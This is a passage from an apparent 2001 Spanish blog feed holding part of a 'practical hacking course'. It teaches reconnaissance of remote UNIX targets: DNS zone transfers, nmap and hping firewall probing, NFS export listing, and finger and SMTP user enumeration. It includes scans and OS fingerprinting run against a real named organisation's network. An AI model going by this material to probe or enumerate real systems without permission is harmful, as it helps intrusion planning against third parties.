X.X.X.X  (uno que corresponda  a nuestro  objetivo, como  obtuvimos al<br />
hacer whois transmeta.com) escribiremos</p>
<p>&gt;server X.X.X.X</p>
<p>a lo que respondera aceptandolo como &#8220;default&#8221;. A continuacion hacemos</p>
<p>&gt;set type=3Dany<br />
&gt;ls -d objetivo.net.&gt;&gt; fichero</p>
<p>Lo  que hemos hecho  es definir  el tipo  de registro  como cualquiera<br />
(any)   con    lo   que   podemos   recuperar    los   registros   DNS<br />
disponibles.  Luego  los  listamos  y  redirigimos  a  &#8220;fichero&#8221;  para<br />
consultarlo mas adelante.  Si ha habido suertecilla, cosa que dudo, al<br />
leer &#8220;fichero&#8221;, encontrariais  diversas entradas con varios registros,<br />
p.ej:</p>
<p>acct22   1D IN A       192.168.230.3<br />
         1D IN HINFO   &#8220;Gateway 2000&#8243; &#8220;Win WKGRPS&#8221;<br />
         1D IN MX      0 acmeadmin-smtp<br />
         &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>El registro A indica la  direccion IP de esta cuenta, HINFO identifica<br />
la plataforma o  el sistema operativo y MX nos  dice donde se gestiona<br />
el correo.  Existen mas  registros, pero no  los voy a  comentar. Esta<br />
informacion es  muy valiosa  porque nos da  de golpe  conocimiento del<br />
sistema operativo y gestor de correo (aparte de mucho mas). Existe una<br />
utilidad algo  dificililla de encontrar  buscando a las bravas  por la<br />
red, que nos permite realizar transferencias de zona (cuando se puede)<br />
y transferir  de manera  recursiva informacion de  la zona  y archivos<br />
huespedes de cada uno de  los dominios consultados. Tal herramienta es<br />
&#8220;axfr&#8221;         que        la        podeis         encontrar        en<br />
ftp=2Econnectnet.com/pub/security/trinux/netmap/axfr-0.5.2.tar.gz. Una<br />
vez instalado, hacemos como root</p>
<p>#&gt;axfr objetivo.net<br />
y saldran algunos mensajes<br />
axfr: Using default directory /root/axfrdb<br />
Found X.X.X.X name server for domain &#8216;objetivo.net&#8217;<br />
text deleted<br />
Received xxxx answers</p>
<p>Ya esta. Para consultar la base de datos basta con que hagais</p>
<p>#&gt;axfrcat objetivo.net</p>
<p>Pero como ya he dicho, no sera tan tordo el administrador de dejar mal<br />
configurado el servidor DNS.</p>
<p>2. =BFProtege algun cortafuegos nuestro objetivo?</p>
<p>Vamos unicamente  a comprobar si existe algun  cortafuegos que proteja<br />
nuestro  objetivo.  La  manera   de  saltarse  el  cortafuegos  ya  la<br />
consideraremos  en   las  tecnicas  de  ataque,   pues  ahora  estamos<br />
extrayendo  informacion  critica  solamente.  Recordando  la  utilidad<br />
nmap, podemos  usarla para descubrir cortafuegos.  Cuando nmap explora<br />
un host, no solamente dice si los puertos estan abiertos, sino tambien<br />
si estan &#8220;filtrados&#8221;. Un puerto filtrado  en nmap indica que o bien no<br />
se  recibio ningun  paquete SYN/ACK  o RST/ACK  o bien  se  recibio un<br />
mensaje  ICMP  de destino  inalcanzable  con  codigo 13  (Cominicacion<br />
prohibida por  el administrador).  Otra utilidad interesante  es hping<br />
(<a href="http://www.kyuzz.org/antirez">www.kyuzz.org/antirez</a>). Una vez instalada, hacemos como root</p>
<p>#&gt;hping objetivo.com -S -p (n=BA de puerto)</p>
<p>De este modo se envian paquetes  TCP SYN al puerto destino y obtenemos<br />
informacion de los  paquetes que regresan. Si el  flag de respuesta es<br />
SA (SYN/ACK) quiere  decir que el puerto destino  esta abierto y listo<br />
para  recibir  conexion.  A   veces  nos  sale  como  respuesta  &#8220;ICMP<br />
unreachable type 13 from X.X.X.X&#8221; lo  que nos indica que X.X.X.X es el<br />
cortafuegos del objetivo.  No obstante si el resultado  de hping no da<br />
respuesta alguna puede ser que o bien el paquete se haya perdido en la<br />
red o  que el cortafuegos lo  detenga. Si obtenemos  una respuesta con<br />
flag  RA (RST/ACK)  puede ser  que  el cortafuegos  haya rechazado  el<br />
paquete o  puede que lo  haya dejado pasar  por el puerto pero  que el<br />
host objetivo no  esta escuchando. Vamos a intentar  ilustrarlo con un<br />
ejemplo.  Mi host  objetivo es  la pagina  web del  Centro Informatico<br />
Cientifico de  Andalucia, <a href="http://www.cica.es">www.cica.es</a>. Voy  antes que nada a  hacer un<br />
traceroute</p>
<p>$&gt;traceroute <a href="http://www.cica.es">www.cica.es</a><br />
<br />
 1  SEVI-X13.red.retevision.es (62.81.56.45)  134.694 ms  139.73 ms  139.866 ms<br />
 2  SEVI-R3.red.retevision.es (62.81.56.27)  139.931 ms  120.489 ms SEVI-R1.red.retevision.es (62.81.56.28)  129.317 ms<br />
 3  SEVI-R15.red.retevision.es (62.81.55.229)  139.938 ms  129.841 ms  119.956 ms<br />
 4  BARC-R16.red.retevision.es (62.81.125.3)  170.034 ms  149.872 ms  149=2E948 ms<br />
 5  ReteNAC.red.retevision.es (62.81.63.202)  139.926 ms  169.764 ms  159=2E934 ms<br />
 6  EspaNIX.red.retevision.es (62.81.8.146)  179.967 ms  179.872 ms  169.909 ms<br />
 7  ibernet.espanix.net (193.149.1.57)  170.042 ms  159.813 ms  149.953 ms<br />
 8  194.179.0.113 (194.179.0.113)  179.942 ms  159.778 ms  159.919 ms<br />
 9  A0-2-4.EB-Madrid00.red.rediris.es (130.206.224.77)  159.959 ms  199.853 ms  169.892 ms<br />
10  A1-0-1.EB-Sevilla1.red.rediris.es (130.206.224.10)  189.936 ms  189.926 ms  179.875 ms<br />
11  130.206.194.10 (130.206.194.10)  179.931 ms  169.96 ms  169.856 ms<br />
12  argantonio.cica.es (150.214.5.77)  189.97 ms *  180.02 ms</p>
<p> Muy  bien,   el  host  130.206.194.10  parece  ser   un  enrutador  o<br />
cortafuegos que dirige  el trafico a argantonio.cica.es (<a href="http://www.cica.es">www.cica.es</a>).<br />
Ahora voy a utilizar la  herramienta nmap para hacer una evaluacion de<br />
la  topologia  de  una  subred.  Voy  a  escanear  por  el  puerto  80<br />
silenciosamente todas las  maquinas de la subred C  a la que pertenece<br />
<a href="http://www.cica.es">www.cica.es</a>:</p>
<p>#&gt;nmap -sS -p80 <a href="http://www.cica.es">www.cica.es</a></p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS -p80 -o cica <a href="http://www.cica.es/24">www.cica.es/24</a><br />
The 1 scanned port on  (150.214.5.0) is: closed<br />
The 1 scanned port on  (150.214.5.1) is: closed<br />
Interesting ports on <a href="http://www.ceseand.cica.es">www.ceseand.cica.es</a> (150.214.5.2):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on scsasnt.sas.cica.es (150.214.5.3):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on prometeo.cica.es (150.214.5.4):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on cdaea.cica.es (150.214.5.6):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on caf.cica.es (150.214.5.7):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on microbio.cica.es (150.214.5.8):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on <a href="http://www.csalud.junta-andalucia.es">www.csalud.junta-andalucia.es</a> (150.214.5.9):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on thales.cica.es (150.214.5.10):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on mileto.cica.es (150.214.5.11) is: closed<br />
Interesting ports on <a href="http://www.tresculturas.org">www.tresculturas.org</a> (150.214.5.12):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on cdma.cica.es (150.214.5.13):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Host   (150.214.5.31) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port on  (150.214.5.31) is: closed<br />
Host   (150.214.5.48) seems to be a subnet broadcast address (returned 1 extra pings).  Skipping host.<br />
The 1 scanned port on osni.cica.es (150.214.5.49) is: closed<br />
The 1 scanned port on io.cica.es (150.214.5.50) is: closed<br />
The 1 scanned port on iat-gw.cica.es (150.214.5.51) is: closed<br />
Host   (150.214.5.55) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port on  (150.214.5.55) is: closed<br />
Host   (150.214.5.64) seems to be a subnet broadcast address (returned 1 extra pings).  Skipping host.<br />
The 1 scanned port on  (150.214.5.65) is: closed<br />
The 1 scanned port on winbdd.cica.es (150.214.5.66) is: closed<br />
The 1 scanned port on mercurio.cica.es (150.214.5.67) is: closed<br />
The 1 scanned port on winbdd2.cica.es (150.214.5.68) is: closed<br />
Interesting ports on orgiva.cica.es (150.214.5.69):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on cache.cica.es (150.214.5.70) is: closed<br />
The 1 scanned port on ntp.cica.es (150.214.5.71) is: closed<br />
Interesting ports on patro.cica.es (150.214.5.72):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on horacio.cica.es (150.214.5.73) is: closed<br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on ligustino.cica.es (150.214.5.78):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on listas.cica.es (150.214.5.79):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on idefix.cica.es (150.214.5.85) is: closed<br />
The 1 scanned port on lejia-s.cica.es (150.214.5.126) is: closed<br />
Host   (150.214.5.127) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port on  (150.214.5.127) is: closed<br />
# Nmap run completed at Mon Aug  7 00:56:51 2000 &#8212; 256 IP addresses (33 hosts up) scanned in 31 seconds</p>
<p>Bueno, bueno&#8230;ahora si hago un traceroute a cada uno de los hosts que<br />
han  sido  escaneados,  obtengo  que  en  todos  los  casos,  el  host<br />
130.206.194.10 les apunta,  con lo cual podemos asegurar  que se trata<br />
de un router/firewall frontera.<br />
<br />
Voy a escanear <a href="http://www.cica.es">www.cica.es</a> con nmap pero a todos los puertos:</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0  <a href="http://www.cica.es">www.cica.es</a><br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
(The 1508 ports scanned but not shown below are in state: closed)<br />
Port       State       Service<br />
21/tcp     open        ftp                   <br />
22/tcp     open        ssh                   <br />
23/tcp     open        telnet                <br />
80/tcp     open        http                  <br />
119/tcp    filtered    nntp                  <br />
123/tcp    filtered    ntp                   <br />
389/tcp    open        ldap                  <br />
390/tcp    open        uis                   <br />
443/tcp    open        https                 <br />
512/tcp    open        exec                  <br />
513/tcp    open        login                 <br />
514/tcp    open        shell                 <br />
515/tcp    open        printer               <br />
3128/tcp   open        squid-http            <br />
8888/tcp   open        sun-answerbook         </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
                         Difficulty=3D88217 (Worthy challenge)</p>
<p>Sequence numbers: C71B5D1D C71EA319 C7205F3B C721CEFD C72706F0 C729B3AC<br />
Remote OS guesses: Solaris 2.6 &#8211; 2.7, Solaris 7<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D15899)<br />
T1(Resp=3DY%DF=3DY%W=3D2297%ACK=3DS++%Flags=3DAS%Ops=3DNNTNWME)<br />
T2(Resp=3DN)<br />
T3(Resp=3DN)<br />
T4(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DY%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DY%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DY%DF=3DY%TOS=3D0%IPLEN=3D70%RIPTL=3D148%RID=3DE%RIPCK=3DE%UCK=3DE%ULEN=3D134%DAT=3DE)<br />
# Nmap run completed at Sun Aug  6 20:02:23 2000 &#8212; 1 IP address (1 host up) scanned in 34 seconds</p>
<p>Se  trata de un  Solaris 2.6-2.7  que tiene  filtrados los  puertos de<br />
usenet (119)  y network time protocol  (123). Luego a no  ser que este<br />
mismo  host  utilice un  filtro  de  paquetes,  sospecharemos que  son<br />
filtrados por  las reglas  del firewall/router que  le precedia  en la<br />
secuencia de traceroute.</p>
<p>Si barremos ahora los puertos del supuesto firewall:</p>
<p><br />
# Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0 -o cica 130.206.194.10<br />
Interesting ports on  (130.206.194.10):<br />
(The 1517 ports scanned but not shown below are in state: closed)<br />
Port       State       Service<br />
79/tcp     open        finger                <br />
119/tcp    filtered    nntp                  <br />
123/tcp    filtered    ntp                   <br />
1998/tcp   open        x25-svc-port          <br />
2001/tcp   open        dc                    <br />
6001/tcp   open        X11:1                  </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
                         Difficulty=3D38400 (Worthy challenge)</p>
<p>Sequence numbers: 2395ACF2 23A031DB 23AB5C89 23B4BE60 23BF584E 23C98A6A<br />
Remote OS guesses: AS5200, Cisco 2501/5260/5300 terminal server IOS 11.3.6(T1), Cisco IOS 11.3 &#8211; 12.0(9)<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D9600)<br />
T1(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T2(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
T3(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T4(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DN%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DN)<br />
# Nmap run completed at Sun Aug  6 19:40:12 2000 &#8212; 1 IP address (1 host up) scanned in 26 seconds</p>
<p>Vemos  que se  trata efectivamente  de  un Cisco  Terminal Router  IOS<br />
11.3-12.0 y que filtra tambien esos dos puertos.<br />
                                                                  <br />
Si hacemos un fping a <a href="http://www.cica.es">www.cica.es</a></p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 80<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D0 ttl=3D243 id=3D4427 win=3D9112 rtt=3D188.4 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D1 ttl=3D243 id=3D4428 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D2 ttl=3D243 id=3D4429 win=3D9112 rtt=3D210.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D3 ttl=3D243 id=3D4430 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D4 ttl=3D243 id=3D4431 win=3D9112 rtt=3D190.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D5 ttl=3D243 id=3D4432 win=3D9112 rtt=3D210.1 ms</p>
<p>Paramos con Ctrl-C</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
6 packets tramitted, 6 packets received, 0% packet loss<br />
round-trip min/avg/max =3D 188.4/199.9/210.2 ms<br />
                                                      <br />
y  observamos  que   el  flag=3DSA  indica  que  el   puerto  80  esta<br />
efectivamente abierto. Pero si hacemos hping al puerto 119</p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 119<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
13 packets tramitted, 0 packets received, 100% packet loss<br />
round-trip min/avg/max =3D 0.0/0.0/0.0 ms         </p>
<p>Efectivamente, esta vez no  tenemos ninguna respuesta y debemos pensar<br />
que el cortafuegos/o enrutador (Cisco ultimate server) la detuvo. =BFO<br />
tal vez  el propio  host tenia filtro  de paquetes?. Si  utilizamos de<br />
nuevo nmap y escaneamos toda la subred en los puertos 119 y123:</p>
<p>#&gt;nmap -sS -p119,123 <a href="http://www.cica.es/24">www.cica.es/24</a></p>
<p>obtenemos en  todos los  casos que los  hosts tienen esos  dos puertos<br />
filtrados: Mucha casualidad va a  ser que cada host utilice un sistema<br />
de filtrado  en dichos puertos  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Lo mas  aplastante es que  el host<br />
130.206.194.10  disponga unas  rglas  de firewall  que filtren  dichos<br />
puertos a todos los hosts a los que apunta.</p>
<p>De las  cuestiones acerca de los  tipos de cortafuegos  y las tecnicas<br />
para traspasarlos nos dedicaremos  en el capitulo destinado al ataque,<br />
como ya dije antes.</p>
<p>La  exploracion de  los puertos  de un  cortafuegos es  util,  pero la<br />
mayoria no  escuchan en puertos predeterminados.  La identificacion de<br />
algunos  cortafuegos  puede hacerse  si  tenemos  suerte  de modo  muy<br />
sencillo  leyendo ciertos  mensajes  de identificacion  que muchos  de<br />
ellos presentan. Con la  utilidad netcat podemos conectarnos al puerto<br />
21 del posible cortafuegos</p>
<p>#&gt;nc -v -n 192.168.51.129 21<br />
(UNKNOWN) [192.168.51.129] 21 (?) open<br />
220 Secure Gateway FTP server ready</p>
<p>#&gt;nc -v -n 192.168.51.129 23<br />
(UNKNOWN) [192.168.51.129] 23 (?) open<br />
Eagle Secure Gateway<br />
Hostname:<br />
3. Exportacion de archivos NFS</p>
<p>El Network File  System (NFS) es un sistema de  red que posibilita que<br />
un  host  servidor proporcione  sistemas  de  archivos y  dispositivos<br />
perifericos a  maquinas clientes. Si  el amigo administrador no  es un<br />
lumbrera o  pasa cantidad, puede  que no haya configurado  el servidor<br />
NFS adecuadamente&#8230;y  cualquier usuario remoto puede  tener acceso de<br />
lectura y escritura. Si mediante una exploracion previa se observa que<br />
el puerto 2049 (servidor nfs) de un host esta abierto, con la utilidad<br />
showmount -e podemos conseguir la  lista de exportacion de un servidor<br />
NFS. Si hacemos como root</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale algo como<br />
RPC: Port mapper failure &#8211; RPC: Unable to receive<br />
pues nada, no ha habido suerte</p>
<p>pero si nos saliera</p>
<p>#&gt;showmount -e objetivo2.net<br />
export list for objetivo2.net<br />
/pub         (everyone)<br />
/home        (everyone)</p>
<p>ya  podiamos establecer una  via de  entrada con  ayuda de  los rlogin<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> (ya lo veremos en el hacking).</p>
<p>4. Listado de usuarios y grupos</p>
<p>Parece  mentira,  pero  algunos  administradores emplean  la  utilidad<br />
finger  con m=EDnimas  medidas de  seguridad&#8230;y esto  permite obtener<br />
bastante  informacion  en muchos  casos  para  ingenieria social,  que<br />
aunque yo no  lo considero como una tecnica pura  de hacking, te puede<br />
resolver  el  problema  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .   Supongamos  que el  host  objetivo  esta<br />
ejecutando el servicio fingerd (puerto 79). Si hacemos como root</p>
<p>#&gt;finger -l @host.objetivo<br />
[host.objetivo]<br />
login:root                         name:root<br />
Directory:/root                    Shell:/bin/bash<br />
On since Sun Mar 20: 10:15(PST) on tty1. 11 minutes idle<br />
(message off)<br />
On since Sun Mar 20: 10:15(PST) on ttyp0 from :0.0. 3 minute 15 seconds idle<br />
No mail<br />
Plan:<br />
Luke Skywalker<br />
Linux Guru<br />
Telnet password is Lord &#8230; (my father)</p>
<p>Peaso de info (pero, como las peliculas de los intocables, el parecido<br />
con la realidad es pura coincidencia) La informacion proporcionada por<br />
finger en principio deberia ser  inocua porque la extrae de los campos<br />
de  /etc/passwd. Lo  mas  peligroso es  que  indica el  nombre de  los<br />
usuarios conectados y sus  tiempos de inactividad. Moreover, cualquier<br />
usuario  que  tenga un  archivo  .plan  o  .project en  su  directorio<br />
particular, la presentara al  hacer finger un merodeador. Los comandos<br />
rwho y rusers muestran los usuarios conectados al host remoto, pero no<br />
dan  tanta informacion como  finger. Es  posible mediante  el servicio<br />
smtp  localizar  usuarios  con  los  mandatos  vrfy  (confirmacion  de<br />
usuarios validos)  y expn (direcciones  reales de entrega de  correo y<br />
alias):</p>
<p>$&gt;telnet 192.168.202.34 25<br />
=2E&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
220 mail.bigcorp.com ESMTP Sendmail 8.8.7<br />
vrfy root<br />
250 root &lt;<a href="mailto:root@bigcorp.com">root@bigcorp.com</a>&gt;<br />
expn adm<br />
250 adm &lt;<a href="mailto:adm@bigcorp.com">adm@bigcorp.com</a>&gt;</p>
<p>5. Aplicaciones RPC</p>
<p>Remote  Procedure  Call (RPC)tiene  que  ver  con interacciones  entre<br />
procesos=2E  El  concepto  de  RPC  es  una  sencilla  t=E9cnica  para<br />
desarrollar  aplicaciones donde  se requiere  la  comunicaci=F3n entre<br />
procesadores que cooperan en un sistema distribuido.</p>
<p>El  mecanismo  RPC proporciona  un  servicio  para  el programador  de<br />
apliciones  que le  permite el  uso transparente  de un  servidor para<br />
proporcionar  alguna actividad  por  parte de  la aplicaci=F3n.   Esto<br />
efectivamente  puede ser  utilizado para  interactuar con  un servidor<br />
computacional o  con una Base  de Datos, y  ha sido usado  por algunos<br />
sistemas para  proporcionar acceso a servicios  del sistema operativo.<br />
El ultimo  uso conocido es  en sistemas basados  en micro-ordenadores,<br />
que  da   un  mejor  resultado  que  en   los  sistemas  tradicionales<br />
encontrados en  la mayoria de sistemas  unix.  La orden  rpcinfo es el<br />
equivalente a finger en la enumeracion de aplicaciones RPC que estan a<br />
la escucha en hosts remotos en los puertos 111 (rpcbind) o 32771 (Sun)<br />
Supongamos  que nuestro  objetivo o  una  maquina de  su subred  tiene<br />
activo el puerto 111. Si hacemos</p>
<p>#&gt;rpcinfo -p objetivo.net<br />
y obtenemos:</p>
<p>program   vers     proto     port<br />
100000             2         tcp   111  rpcbind<br />
100002             3         udp   712  rusersd<br />
100011             2         udp   754  rquotad<br />
100005             1         udp   635  mountd<br />
100003             2         udp  2049  nfs<br />
100004             2         tcp   778  ypserv</p>
<p>Esta informacion  (me salto lo  que ahora puede ser  superfluo) indica<br />
que se  estan ejecutando rusersd, nfs  e ypserv que es  el servidor de<br />
NIS.  NIS (Network  Information System)  es un  protocolo de  nivel de<br />
aplicacion   muy    util   para   la    gestion   de   configuraciones<br />
cliente/servidor en  sistemas unix.  Es un sistema  de bases  de datos<br />
distribuidas que  permiten de manera  uniforme el almacenamiento  y la<br />
recuperacion de los recursos de red. Como explica Daemond, en lugar de<br />
gestionar  archivos   como  el  /etc/hosts,   /etc/passwd,  /etc/group<br />
independientemente  en  cada  maquina  de  la red,  esto  permite  que<br />
solamente haya  una base de datos  compartida (mapas) por  el resto de<br />
las maquinas clientes en un servidor central. Esto tiene su aquel para<br />
el hacking de sistemas usando ypcat, pero ya lo veremos.</p>
<p>Existen muchos  mas modos de extraer informacion,  por ejemplo leyendo<br />
el  codigo de las  paginas web,  estableciendo posibles  relaciones de<br />
confianza  (trusted  hosts  con  rlogin),  ingenieria  social,  quinta<br />
columna&#8230; pero creo que no esta mal para comenzar.</p>
<p>Aqui termina la segunda entrega.</p>
<p>En  la  proxima   nos  centraremos  en  las  tecnicas   de  hacking  e<br />
introduccion de sistemas mediante fallos de seguridad, desbordamientos<br />
del bufer de  ciertos programas, ataques por fuerza  bruta, etc. Queda<br />
todavia  un largo  camino y  luego hay  tecnicas  avanzadas (tunneling<br />
firewalls, hijacking, IP spoofing&#8230;)</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>LECTER</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) I</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:09:33 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=186</guid>
		<description><![CDATA[Curso práctico de exploración en cuatro entregas, explicando todos los pasos desde la obtención de información hasta el acceso, orientado a sistemas UNIX. Parte I.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking I<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING</p>
<p>Despues de muchas consideraciones acerca de la utilidad de un<br />
protocursillo sobre &#8220;hacking&#8221; he decidido ofrecerlo a los estudiosos y<br />
serios seguidores de es.comp.hackers. Estos capitulos que entregare<br />
durante las siguientes semanas tienen por objeto servir de ayuda a los<br />
que estan empezando en el mundillo del hacking con sanas intenciones y<br />
no para quedarse en lamers o chicos del script (script kiddies) que lo<br />
que hacen es destrozar con armas hechas por otros y que en el fondo ni<br />
comprenden profundamente.</p>
<p>Ruego encarecidamente a los demas miembros del HACKINDEX, como mi<br />
amigo NBK, Seldon, Lokutus, Isocrono, Crino, etc&#8230; que lo usen como<br />
borrador para mejorarlo (si es que quieren tomarse la molestia) e<br />
incluirlo en alguna pagina web destinada a ello. El texto sera llano y<br />
sin tildes para evitar problemas de lectura y esta escrito con el<br />
editor vi. El cursillo (Curso Practico de Hacking o CPH) pretende ser<br />
por entregas dedicadas a cada uno de los pasos fundamentales en el<br />
hacking de una maquina objetivo remota. Cuando me refiero a hacking no<br />
quiere eso decir que me considere yo un hacker ni guru ni ninguna<br />
gaita de esas, sino que es para aproximarme claramente al tema de la<br />
introduccion en sistemas de comprometida seguridad. Hare referencia<br />
fundamentalmente al mundo UNIX y las herramientas seran tambien<br />
programas de aromas unix, scripts en perl o codigo en C. Yo recomiendo<br />
encarecidamente que os aprovisioneis de un sistema Linux para estos<br />
menesteres, ya que la mayoria de las utilidades de red vienen<br />
incluidas, disponemos de un excelente compilador de C, del lenguaje<br />
perl, Tcl, python&#8230; asi como de la posibilidad de instalar muchos<br />
paquetes escritos para unix/linux como Saint, nmap, Nessus&#8230;y un<br />
largo etcetera de ventajas con respecto a Mac o al Windoze.</p>
<p>El estudiante novato debera leer antes que nada la FAQ del grupo, que<br />
puede encontrarla en la pagina de isocrono<br />
(http://www.navegalia.com/hosting/00084/isocrono) tanto la del 98 y 99<br />
como la ultima del 2000. Y hacer hincapie en el &#8220;decalogo del<br />
hacker&#8221;. Hay que aprender por puro deleite, no para destrozar<br />
sistemas. En fin, he intentado ajustarme a lo que yo pienso que son<br />
los pasos fundamentales en el hacking de sistemas unix:</p>
<p>1. Merodeo y rastreo del objetivo</p>
<p>2. Extraccion de informacion critica del objetivo</p>
<p>3. Introduccion en el sistema</p>
<p>4. Aumento de privilegios (acceso a root, si la introduccion no<br />
conduce directamente a el)</p>
<p>5. Maniobras oscuras (evitando ser notados, instalando sniffers,<br />
dejando puertas traseras y troyanos)</p>
<p>6. Eliminando huellas</p>
<p>Aqui va el primer capitulo.</p>
<p>Saludos a todos,</p>
